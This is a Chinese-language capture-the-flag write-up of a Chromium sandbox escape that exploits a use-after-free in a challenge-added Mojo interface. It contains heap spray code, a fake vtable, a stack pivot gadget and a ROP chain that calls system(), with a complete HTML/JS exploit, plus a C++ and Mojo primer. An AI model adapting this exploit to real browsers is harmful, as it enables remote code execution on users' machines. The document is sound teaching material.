[0715/160558.981378:INFO:CONSOLE(16)] "GetInt(): 0x0", source: file:///home/wgn/Desktop/chromium_sbx/test.html (16)
[0715/160558.983165:INFO:CONSOLE(16)] "GetInt(): 0x74747474", source: file:///home/wgn/Desktop/chromium_sbx/test.html (16)

我们这里数组中每个只填了10个对象,从结果来看很多都UAF成功了。

当然,把getInt改为getTotalSize也是可以的,由于vtable entry被破坏了,将直接导致崩溃。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Received signal 11 SEGV_MAPERR ffffc8ff74d44084
#0 0x557db09d7e69 base::debug::CollectStackTrace()
#1 0x557db0953d23 base::debug::StackTrace::StackTrace()
#2 0x557db09d7a05 base::debug::(anonymous namespace)::StackDumpSignalHandler()
#3 0x7f4653f288a0 (/lib/x86_64-linux-gnu/libpthread-2.27.so+0x1289f)
#4 0x557daeabdd50 content::TInstanceImpl::GetTotalSize()
#5 0x557dae6e6a6b blink::mojom::TInstanceStubDispatch::AcceptWithResponder()
#6 0x557daeabda96 blink::mojom::TInstanceStub<>::AcceptWithResponder()
#7 0x557db0b57338 mojo::InterfaceEndpointClient::HandleValidatedMessage()
...
#32 0x557dade45ce7 ChromeMain
#33 0x7f464d893b97 __libc_start_main
#34 0x557dade45b2a _start
r8: 0000370220aef558 r9: 00007ffe8eeacd28 r10: 0000000000000000 r11: 0000000000000000
r12: 0000370220c36800 r13: 0000000000000001 r14: 0000370220c05560 r15: 00007ffe8eeac8f0
di: 0000370220a22700 si: 00007ffe8eeac880 bp: 00007ffe8eeac7e0 bx: 00007ffe8eeac880
dx: 0000557dae350910 ax: ffffc8ff74d44074 cx: 0000370220c59300 sp: 00007ffe8eeac7d0
ip: 0000557daeabdd50 efl: 0000000000010202 cgf: 002b000000000033 erf: 0000000000000005
trp: 000000000000000e msk: 0000000000000000 cr2: ffffc8ff74d44084
[end of stack trace]
Calling _exit(1). Core file will not be generated.

带界面的Chrome就会直接退出:

crash

这个在线视频转GIF的网站还挺好的。

OK,现在的效果是我们可以进行UAF了,对象的内容可控。

关于vtable entry的补充

你可能会问,你这里不是已经把vtable entry覆盖了嘛?为什么还能正常使用getInt?这是因为vtable entry指向的vtable中只有析构函数和getTotalSize函数,getInt函数并没有使用覆盖的vtable entry来寻址。

我的理解是,InnerDb对象中最开始用了GetTotalSize的虚函数。由于InnerDbImpl继承自InnerDb,所以InnerDbImpl最开始的vtable entry指向的虚函数其实就是InnerDb中的虚函数,这应该就是“继承”在内存中的表现形式。至于InnerDbImpl自己实现的函数如push和pop等等,存放在其他位置,所以没有影响。

调试看一下这几个函数的位置:

vtable

关于继承、多态如何在内存中表现可以之后再深入一下。

进一步利用UAF

根据之前的思路:

  • 通过控制queue指针和push pop操作达到任意地址读写
  • 通过控制vtable entry控制RIP

既然泄露了libc还能任意地址读写怎么不写hook?因为我们并没有使用堆段吧。

我们最终需要通过调用篡改之后的vtable entry指向的GetTotalSize函数,从而控制RIP。那么我们就需要首先伪造一个vtable,还得泄露出这个vtable的地址。

在2019的WP中通过泄露堆地址来进一步操作的。在Balsn的WP中通过任意地址写将ROP链写到了.bss段,让vtable指向保存xchg地址的位置,然后栈迁移到bss上ROP。

任意地址读写

在堆喷的时候事先填充好vtable entry和queue_都是bss就好了,通过任意地址读写来写vtable,反正push和pop不受影响。这里的bss并不是准确的bss,只要找到可写可读的就行。code段附近就可以。或者通过C[i]来控制,通过push和pop,但是这应该只能影响到最后几字长的内容,控制不了vtable。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
print("[+] Prepaired for heap spray");

for(var idx = 0; idx < list_size; idx++){
for(var i = 0; i < 200; i++){
C[idx].set(i, 0x1000+i);
}
for(var i = 0; i < 79-1; i++){
await C[idx].push(0x10000+i);
} // capacity = 79
for(var i = 0; i < 39; i++){
await C[idx].pop();
} // capacity = 49
for(var i = 0; i < 76-40; i++){
await C[idx].push(0x20000+i);
} // capacity = 76
for(var i = 0; i < 38; i++){
await C[idx].pop();
} // capacity = 47
for(var i = 0; i < 51; i++){
if(i != 8){ // 这个偏移可以通过填充的值找到
await C[idx].push(0x30000+i);
}
else{
await C[idx].push(bss); // vtable entry
}
} // capacity = 89
for(var i = 0; i < 45; i++){
await C[idx].pop();
} // capacity = 56
for(var i = 0; i < 163-5; i++){
await C[idx].push(0x40000+i);
}
await C[idx].push(bss); // buffer_
await C[idx].push(0xcf); // capacity_
await C[idx].push(0); // index_
await C[idx].push(1); // end_
await C[idx].push(0x74747474); // int_value_
}

print("[+] Heap spray finished");

for(var idx = 0; idx < list_size; idx++){
var temp = (await A[idx].getInt()).value;
if(temp == 0x74747474){

print_value("[+] Find target: ", idx);
var target = A[idx];
await target.push(0x7171717171717171);
await target.push(0x7272727272727272);

print(hex((await A[idx].getInt(i)).value));
target.getTotalSize();
}
}

gdb调试可以看到成功写入,在getTotalSize的时候崩溃:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Thread 1 "chrome" received signal SIGSEGV, Segmentation fault.
0x0000564cecc07d50 in content::TInstanceImpl::GetTotalSize(base::OnceCallback<void (long)>) ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────
RAX 0x564cf3acde40 (perfetto::metatrace::RingBuffer::records_+216) ◂— 0x0
...
──────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────
► 0x564cecc07d50 call qword ptr [rax + 0x10]
rdi: 0x37d4d0ccc300 —▸ 0x564cf3acde40 (perfetto::metatrace::RingBuffer::records_+216) ◂— 0x0
rsi: 0x7ffffaa51210 —▸ 0x37d4d0e4a0c0 ◂— 0xffffc82900000001
rdx: 0x564cec49a910 ◂— test rdi, rdi
rcx: 0x37d4d0e4a0c0 ◂— 0xffffc82900000001
...
pwndbg> p/x $rax+0x10
$4 = 0x564cf3acde50
pwndbg> x/gx 0x564cf3acde50
0x564cf3acde50 <perfetto::metatrace::RingBuffer::records_+232>: 0x7272727272727400

布置vtable

vtable放xchg的gadget就可以了。

1
xchg rax, rsp; ret

我们这里假设已知存在这个gadget。使用ROPgadget不行,会直接崩溃,但是我们可以通过gdb来查找。

1
2
3
4
5
6
7
8
9
10
11
Python 2.7.17 (default, Apr 15 2020, 17:20:14) 
[GCC 7.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> context.arch='amd64'
>>> sc = 'xchg rax, rsp; ret'
>>> asm(sc)
'H\x94\xc3'
>>> asm(sc).encode('hex')
'4894c3'
>>>
1
2
pwndbg> search -x 4894c3
chrome 0x564cf122f8e4 xchg rax, rsp
1
2
3
pwndbg> x/2i 0x564cf122f8e4
0x564cf122f8e4 <(anonymous namespace)::MakeImageDoodle(search_provider_logos::LogoType, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, GURL const&, int, int, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, int, int, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&)+212>: xchg rsp,rax
0x564cf122f8e6 <(anonymous namespace)::MakeImageDoodle(search_provider_logos::LogoType, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, GURL const&, int, int, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, int, int, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&)+214>: ret

没毛病。修改一下可以触发:

1
2
3
4
5
6
7
8
9
10
Thread 1 "chrome" received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
ERROR: Could not find ELF base!
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────
...
RSP 0x55f537834e48 (perfetto::metatrace::RingBuffer::records_+224) ◂— 0x1234
RIP 0x0
──────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────
Invalid address 0x0

由于Chrome很大,估计很多gadget都可以直接搜到。

布置ROP链

基本思路就是执行system,提前用pop rdi ret把参数穿进去。

想要执行system('./flag_printer'),我们需要把flag_printer这个字符串存起来。其实在上面我们可以看到存8个字节的时候会有一些偏差:

1
0x564cf3acde50 <perfetto::metatrace::RingBuffer::records_+232>:	0x7272727272727400

这里明明push的参数是0x7272727272727272。怎么办呢?在Balsn的WP中找到了这个gadget:

1
2
3
4
pwndbg> x/5i 0x527c945+0x55e41ceb4000
0x55e422130945 <from16to8+21>: mov BYTE PTR [rdi],al
0x55e422130947 <from16to8+23>: pop rbp
0x55e422130948 <from16to8+24>: ret

再配合控制rax的gadget:

1
2
3
pwndbg> x/5i 0x2d815fc+0x55e41ceb4000
0x55e41fc355fc <std::__1::__begin_marked_subexpression<char>::~__begin_marked_subexpression()+12>: pop rax
0x55e41fc355fd <std::__1::__begin_marked_subexpression<char>::~__begin_marked_subexpression()+13>: ret

这样就可以准确控制内存了:

  • 通过pop rdi设置目标地址
  • 通过pop rax设置写入的值
  • 通过mov [rdi], al写入

rax 8字节,eax 4字节,ax 2字节,al 1字节。一个字节一个字节写入就好。注意一下这里的ROP会比较长,建议写字符串的位置写远一点,要不会和ROP重合。

1
2
pwndbg> x/s 0x55959ceb8340
0x55959ceb8340 <perfetto::metatrace::RingBuffer::records_+1496>: "./flag_printer"
1
2
3
4
5
6
7
8
9
10
11
var cmd = './flag_printer\x00';
var cmd_buf = bss+0x500;
// print(cmd.length); 15
for(var cmd_idx = 0; cmd_idx < cmd.length; cmd_idx++){
await target.push(pop_rdi_ret);
await target.push(cmd_buf+cmd_idx); // address
await target.push(pop_rax_ret);
await target.push(cmd.charCodeAt(cmd_idx));
await target.push(mov_rdi_al_pop_rbp_ret); // cmd[idx]
await target.push(0x21212121); // fake rbp
}

有了参数之后就执行system(cmd)即可:

1
2
3
4
5
// system(cmd)
await target.push(pop_rdi_ret);
await target.push(binsh); // or cmd_buf
await target.push(ret);
await target.push(system);

使用libc中的/bin/sh也可以。失败了就加个ret。

攻击成功!

执行flag printer:

image-20200716105057082

或者getshell:

image-20200716105200501

像附件的命令中那也去掉user data的flag也可以,只是没log输出,不影响攻击。

image-20200716105509213

完整Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
<html>
<pre id='log'></pre>
<script src="mojojs/mojo_bindings.js"></script>
<script src="mojojs/third_party/blink/public/mojom/tstorage/tstorage.mojom.js"></script>
<script>

function print(msg) {
console.log(msg);
document.body.innerText += msg + '\n';
}

function print_value(msg, value) {
console.log(msg+hex(value));
document.body.innerText += msg + hex(value) + '\n';
}

function hex(i){
return '0x'+i.toString(16);
}

print("[+] Start");

async function pwn(){

// Create TStorage
var ts_ptr = new blink.mojom.TStoragePtr();
Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(ts_ptr).handle);
await ts_ptr.init();
// now we can createInstance
var ti_ptr = (await ts_ptr.createInstance()).instance;

// get libc leak and .text leak
var libc_leak = (await ts_ptr.getLibcAddress()).addr;
print_value("[+] Libc leak: ", libc_leak);
var text_leak = (await ts_ptr.getTextAddress()).addr;
print_value("[+] Text leak: ", text_leak);
var libc_base = libc_leak-0x40730;
print_value("[+] Libc base: ", libc_base);
var system = libc_base+0x4f4e0;
var malloc_hook = libc_base+0x3ebc30;
var free_hok = libc_base+0x3ed8e8;

var text_base = text_leak-0x39b5e60;
print_value("[+] code base: ", text_base);
var bss = text_leak+0x6ec6fe0;
print_value("[+] Target bss: ", bss);

var xchg = text_base+0x7fde8e4;
print_value("[+] xchg gadget: ", xchg);

A = []; // many many TInstance (inner_db_)
B = []; // many many TStorage (inner_db_ptr_)
C = []; // also many many TInstance for heap spray

var list_size = 10;

for(let i = 0; i < list_size; i++){
B.push(null); // init B[i]
B[i] = new blink.mojom.TStoragePtr();
Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(B[i]).handle);
await B[i].init();
A.push((await B[i].createInstance()).instance);
}

for(var i = 0; i < list_size; i++){
var tmp_ts_ptr = new blink.mojom.TStoragePtr();
Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(tmp_ts_ptr).handle);
await tmp_ts_ptr.init();
C.push((await tmp_ts_ptr.createInstance()).instance);
}

// reset TStorage->inner_db_ptr_ in B[]
for(var i = 0; i < list_size; i++){
await B[i].ptr.reset();
}

print("[+] Prepaired for heap spray");

for(var idx = 0; idx < list_size; idx++){
for(var i = 0; i < 200; i++){
C[idx].set(i, 0x1000+i);
}
for(var i = 0; i < 79-1; i++){
await C[idx].push(0x10000+i);
} // capacity = 79
for(var i = 0; i < 39; i++){
await C[idx].pop();
} // capacity = 49
for(var i = 0; i < 76-40; i++){
await C[idx].push(0x20000+i);
} // capacity = 76
for(var i = 0; i < 38; i++){
await C[idx].pop();
} // capacity = 47
for(var i = 0; i < 51; i++){
if(i != 8){
await C[idx].push(0x30000+i);
}
else{
await C[idx].push(bss); // vtable entry
}
} // capacity = 89
for(var i = 0; i < 45; i++){
await C[idx].pop();
} // capacity = 56
for(var i = 0; i < 163-5; i++){
await C[idx].push(0x40000+i);
}
await C[idx].push(bss-8); // buffer_
await C[idx].push(0xcf); // capacity_
await C[idx].push(0); // index_
await C[idx].push(1); // end_
await C[idx].push(0x74747474); // int_value_
}

print("[+] Heap spray finished");

var binsh = libc_base+0x1b40fa;
var pop_rdi_ret = text_base+0x2e9ee1d;
var ret = text_base+0x2d3eac9;
var pop_rax_ret = text_base+0x2d815fc;
var mov_rdi_al_pop_rbp_ret = text_base+0x527c945;

for(var idx = 0; idx < list_size; idx++){
var temp = (await A[idx].getInt()).value;
if(temp == 0x74747474){
print_value("[+] Find target: ", idx);
var target = A[idx];
await target.push(ret);
await target.push(pop_rdi_ret); // passing xchg gadget
await target.push(xchg);
var cmd = './flag_printer\x00';
var cmd_buf = bss+0x500;
for(var cmd_idx = 0; cmd_idx < cmd.length; cmd_idx++){
await target.push(pop_rdi_ret);
await target.push(cmd_buf+cmd_idx); // address
await target.push(pop_rax_ret);
await target.push(cmd.charCodeAt(cmd_idx));
await target.push(mov_rdi_al_pop_rbp_ret); // cmd[idx]
await target.push(0x21212121); // fake rbp
}

// system(cmd)
await target.push(pop_rdi_ret);
// await target.push(binsh);
await target.push(cmd_buf);
await target.push(ret);
await target.push(system);
print("[+] Trigger!");
await target.getTotalSize();
}
}
}

pwn();

</script>
</html>

总结

第一次做Chrome的沙箱逃逸的题目还是很开心的,感谢出题人的高质量题目,还有Balsn、2019的高质量WP。

其实可以看到我们在做题的时候进行了大量知识点的DFS,但是还有很多细节我们没有仔细研究,例如PartitionAlloc的具体实现机制,chunk结构等等。在大佬的脚本中也有通用的工具,之后尝试用一下。还有就是继承多态等等在C++中具体如何表现…这些坑就以后慢慢研究吧。

PDF版本的可以在这里下载。


以下内容可以略过。

补充知识

为了更顺畅地分析题目,一些前置知识在这里补充。主要是C++的一些概念。可能有些概念并没有和利用有关…多学一点总是好的。

回调函数 callback

建议阅读这篇文章,提到了一个通俗易懂的解释回调函数的文章

其实简单来说,就是传一个函数指针作为参数,给另一个函数。使用该函数指针的函数并不需要知道该指针对应函数的具体实现,只需要调用就可以了。

回调函数有同步回调和异步回调两种。

简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<iostream>
#include<algorithm>

using namespace std;

bool cmp_leq(int a, int b){
return a <= b;
}

bool cmp_geq(int a, int b){
return a >= b;
}

int main(){
int a[] = {3, 2, 6, 5, 8, 7, 1, 0, 9, 4};
sort(a, a + 10, cmp_leq);
for(int i = 0; i < 10; i++){
cout << a[i];
}
cout << endl;
sort(a, a + 10, cmp_geq);
for(int i = 0; i < 10; i++){
cout << a[i];
}
cout << endl;
}
1
2
0123456789
9876543210

如果我们想实现排序功能,排序的标准可以有很多种,例如升序、降序,有时候输入也并不是整数,需要自己写比较的逻辑,如果对于每一种场景都写一个排序算法会很麻烦。图中的std::sort,我们传入的cmp函数是自己实现的,只需要实现比较的逻辑即可,不同的场景实现不同的cmp传给sort就行,sort并不关心cmp内部如何实现。

std::move

std::move将对象标记为可变的右值对象。

1
2
3
> A a1;
> A a2 = std::move( a1 );
>

move做的事情就是,神奇A那么大的空间,将a1的内容拷贝过来,销毁a1原有的空间。

std::move在网上有很多专业的解答,关于做了什么事情、什么含义、如何使用等等。其中关于左值右值的概念令人迷惑…

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<iostream>
#include<algorithm>

using namespace std;

int main()
{
string s = "hello world";
string t = "";
cout << "s: " << s << endl;
t = move(s);
cout << "t: " << t << endl;
cout << "s: " << s << endl;

}
1
2
3
s: hello world
t: hello world
s:

move之后t有了值,s变为了空。

虚函数or虚方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include<iostream>
#include<algorithm>

using namespace std;

class A {
public:
void hello(){
cout << "Hello!" << endl;
}
virtual void bye(){
cout << "Bye!" << endl;
}
};

class B : public A{
public:
void bye(){
cout << "Bye bye bye!" << endl;
}
};

int main(){
B* b = new B();
b->hello();
b->bye();
}
1
2
Hello!
Bye bye bye!

就是多态。

内存中的结构大致如图,来自AngelBoy的Slides:

image-20200712233119524

std::deque

std::deque是一个双端队列。可以在两端进行插入和删除。

C++模版

模板是泛型编程的基础,泛型编程即以一种独立于任何特定类型的方式编写代码。

模板是创建泛型类或函数的蓝图或公式。库容器,比如迭代器和算法,都是泛型编程的例子,它们都使用了模板的概念。

函数模版

1
2
3
4
template <typename type> ret-type func-name(parameter list)
{
// 函数的主体
}

在这里,type 是函数所使用的数据类型的占位符名称。这个名称可以在函数定义中使用。

类模版

1
2
3
4
5
template <class type> class class-name {
.
.
.
}

在这里,type 是占位符类型名称,可以在类被实例化的时候进行指定。您可以使用一个逗号分隔的列表来定义多个泛型数据类型。

容器适配器

先看一下std::queue参考

1
template <class T, class Container = deque<T> > class queue;
1
2
3
4
5
6
7
8
9
10
11
12
13
queues are a type of container adaptor, specifically designed to operate in a FIFO context (first-in first-out), where elements are inserted into one end of the container and extracted from the other.

queues are implemented as containers adaptors, which are classes that use an encapsulated object of a specific container class as its underlying container, providing a specific set of member functions to access its elements. Elements are pushed into the "back" of the specific container and popped from its "front".

The underlying container may be one of the standard container class template or some other specifically designed container class. This underlying container shall support at least the following operations:
empty
size
front
back
push_back
pop_front

The standard container classes deque and list fulfill these requirements. By default, if no container class is specified for a particular queue class instantiation, the standard container deque is used.

queue模板类需要两个模板参数,一个是元素类型,一个容器类型,元素类型是必要的,容器类型是可选的,默认为deque类型。比如说代码std::queue<int> myqueue;,元素类型为int,没有指定容器类型,所以其实是deque的。

下面我们理解一下这一段:

1
2
3
4
5
6
7
8
9
10
namespace base {

// Provides a definition of base::queue that's like std::queue but uses a
// base::circular_deque instead of std::deque. Since std::queue is just a
// wrapper for an underlying type, we can just provide a typedef for it that
// defaults to the base circular_deque.
template <class T, class Container = circular_deque<T>>
using queue = std::queue<T, Container>;

} // namespace base

首先是在一个base的命名空间中。然后是一个容器适配器,元素类型为T,容器类型默认是circular_deque。后面的using这里是类型重命名的功能,相当于typedef,看起来更美观。新的queue和std::queue的区别就是默认用circular_deque而不是deque

C++智能指针

C++标准模版库STL提供了四种智能指针:

  • Auto_ptr 被C++11抛弃但是仍然可以使用,建议使用unique_ptr
  • Unique_ptr
  • Shared_ptr
  • Weak_ptr

所以我们的重点就是在unique_ptr了。下面说到的用法并不是unique_ptr特有的,其他的指针用起来类似。

srd::unique_ptr

unique_ptr拥有对象的独有权,两个unique_ptr不能指向同一个对象,即unique_ptr不共享指向的对象。

  • 无法复制unique_ptr
  • 无法通过值传递到函数
  • 如果STL算法需要使用对象的副本,那么也用不了

只能移动unique_ptr,转移资源管理权限:将内存资源所有权转移给另一个unique_ptr,原本的unique_ptr不再拥有此资源。

构造unique_ptr时,可以使用make_unique Helper函数。这个在之后的代码中会看到。

例子:首先创建一个类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<iostream>
#include<memory>


class Num {
private:
int _num = 0;
public:
Num(int num):_num(num) {}
int get(){ return _num; }
int set(int num){ _num = num; }
};

std::unique_ptr<Num> change(std::unique_ptr<Num> n){
n->set(1024);
return n;
}

change函数传入一个Num类对象的unique_ptr可以修改该对象的_num属性。

std::make_unique

下面是创建unique_ptr和通过std::move转移控制权的代码:

1
2
3
4
5
6
7
std::unique_ptr<Num> ptr = std::make_unique<Num>(10);
std::cout << ptr->get() << std::endl;
auto p = change(std::move(ptr)); // std::unique_ptr<Num> p也可以。
std::cout << p->get() << std::endl;
if(!ptr){
std::cout << "ptr is null" << std::endl;
}
1
2
3
10
1024
ptr is null

get()

通过get可以获取原始指针:

1
2
std::unique_ptr<Num> ptr = std::make_unique<Num>(10);
std::cout << (ptr.get())->get() << std::endl;
1
10

ptr是一个unique_ptr指针,通过.get()可以获取到其指向的Num对象,然后调用->get()调用了Num类的get方法,获得了_num的值。

reset()

通过reset可以重新拿到一个对象,这个时候就不再是null了。

1
2
ptr.reset(new Num(200));
std::cout << ptr->get() << std::endl;
1
200

release()

通过release获取指针:

1
2
3
4
5
Num* new_ptr = ptr.release();
if(!ptr){
std::cout << "ptr is null" << std::endl;
}
std::cout << new_ptr->get() << std::endl;
1
2
ptr is null
200

感觉可以搞搞C++ Pwn了?hhhh

C++动态内存

  • Vector: 动态数组,在heap上分配,空间不够时分配两倍大小然后释放原有的

  • String: 同样是动态的,细节参考AngelBoy的Slide

题目中遇到的会是这样的代码:

1
2
std::array<uint64_t, 200> array_;
base::queue<uint64_t> queue_;

这里的base::queue并不是STL中的queue,不过具体原理应该差不多,都是动态分配内存的。

Chromium的渲染引擎,基于WebKit,但是做了梳理,脱离WebKit衍生出了Blink。这个参考资料:Blink是如何工作的内容比较多,包含Blink,进程间通信,Mojo等,可以大致看看。

Blink是一个Web渲染引擎。粗略地说,Blink实现了一个浏览器标签页里显示的所有内容:

  • 实现Web标准(如HTML标准),包括DOM,CSS和Web IDL
  • 嵌入V8运行JavaScript
  • 从底层网络栈请求资源
  • 构建DOM树
  • 计算样式和布局
  • 嵌入Chrome Compositor绘制图形

关于其中的进程线程结构、内存管理等部分可以好好读一读。

明明是刚学完的但是看到这个词还是感觉好陌生 : P

Mojo接口

Mojo是Chromium提供的用于进程间进程内的模块间通信的一种机制,它屏蔽了通信时的类型转换。参考资料官方文档

一些名词

  • 消息管道

是一组端点. 每个endpoint有一个接受消息的队列, 在一个端点上写消息会高效地放入对端端点的消息队列上。所以消息管道是双工通信的。

  • mojom文件

描述了接口它们描述了类似proto files的强类型消息结构,通过binding generator可以产生对应于不同语言的文件。

题目附件中可以看到PATCH就是增加了Mojom文件,新加入了Mojo的接口

  • InterfacePtr

用于发送消息的端点。

一旦绑定到一个消息管道的端点,就可以马上序列化要发送的消息,并写入管道。

  • InterfaceRequest

用于接收消息的端点。

本质上仅仅是一个持有消息管道端点的容器,本身不会做任何事情,需要传递到直到绑定了实现了mojom文件接口的类,才能读取消息。

例子

例如以下Mojom文件:

1
2
3
4
5
module sample.mojom;

interface Logger {
Log(string message);
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
namespace sample {
namespace mojom {

class Logger {
virtual ~Logger() {}

virtual void Log(const std::string& message) = 0;
};

using LoggerPtr = mojo::InterfacePtr<Logger>;
using LoggerRequest = mojo::InterfaceRequest<Logger>;

} // namespace mojom
} // namespace sample

这里的LoggerPtr就是用于发消息的,LoggerRequest用于接收消息。上面这个文件应该是自动生成的,所以写了什么接口后面加Ptr和Request即可。

例如在blink.mojom中加入了一个Test接口,访问的方法:

1
var test_ptr = new blink.mojom.TestPtr();

这一行的功能是创建TestPtr,作为渲染器端的代理。可以绑定到在浏览器过程中实现的TestRequest。

1
Mojo.bindInterface(blink.mojom.TestRequest.name, mojo.makeRequest(test_ptr).handle);

这一行Mojo.bindInterface用于将test_ptr绑定到浏览器进程中运行的blink.mojom.TestRequest接口。

之后可以从JS调用此接口定义的方法,如init等等。

weak pointer

在patch中可以看到一些和WeakPtr有关的类:

1
2
3
+TInstanceImpl::TInstanceImpl(InnerDbImpl* inner_db) : weak_factory_(this) {
+ inner_db_ptr_ = inner_db;
+}

关于weak pointer的介绍可以学习一下源码中的注释,这里简单翻译一下。

当一个对象需要被多个不是所有者对象安全访问时,weak pointer就比较有用了。

var, let, const

var和let的主要区别在于块级作用域。相比较而言用let要更合适一点,少bug。

const用于定义常量,一旦声明必须马上赋值,声明之后值不能改变。

  • var和let/const的区别:

    • 块级作用域
    • 不存在变量提升
    • 暂时性死区
    • 不可重复声明
    • let、const声明的全局变量不会挂在顶层对象下面
  • const命令两个注意点:

    • let可以先声明稍后再赋值,而const在 声明之后必须马上赋值,否则会报错
    • const 简单类型一旦声明就不能再更改,复杂类型(数组、对象等)指针指向的地址不能更改,内部数据可以更改。
  • let、const使用场景:

    • let使用场景:变量,用以替代var。
    • const使用场景:常量、声明匿名函数、箭头函数的时候。

具体可以参考这篇博客:var和let/const的区别

process, thread

process:进程

thread:线程

回回忘lol🤪

参考资料

一些适合继续阅读的内容: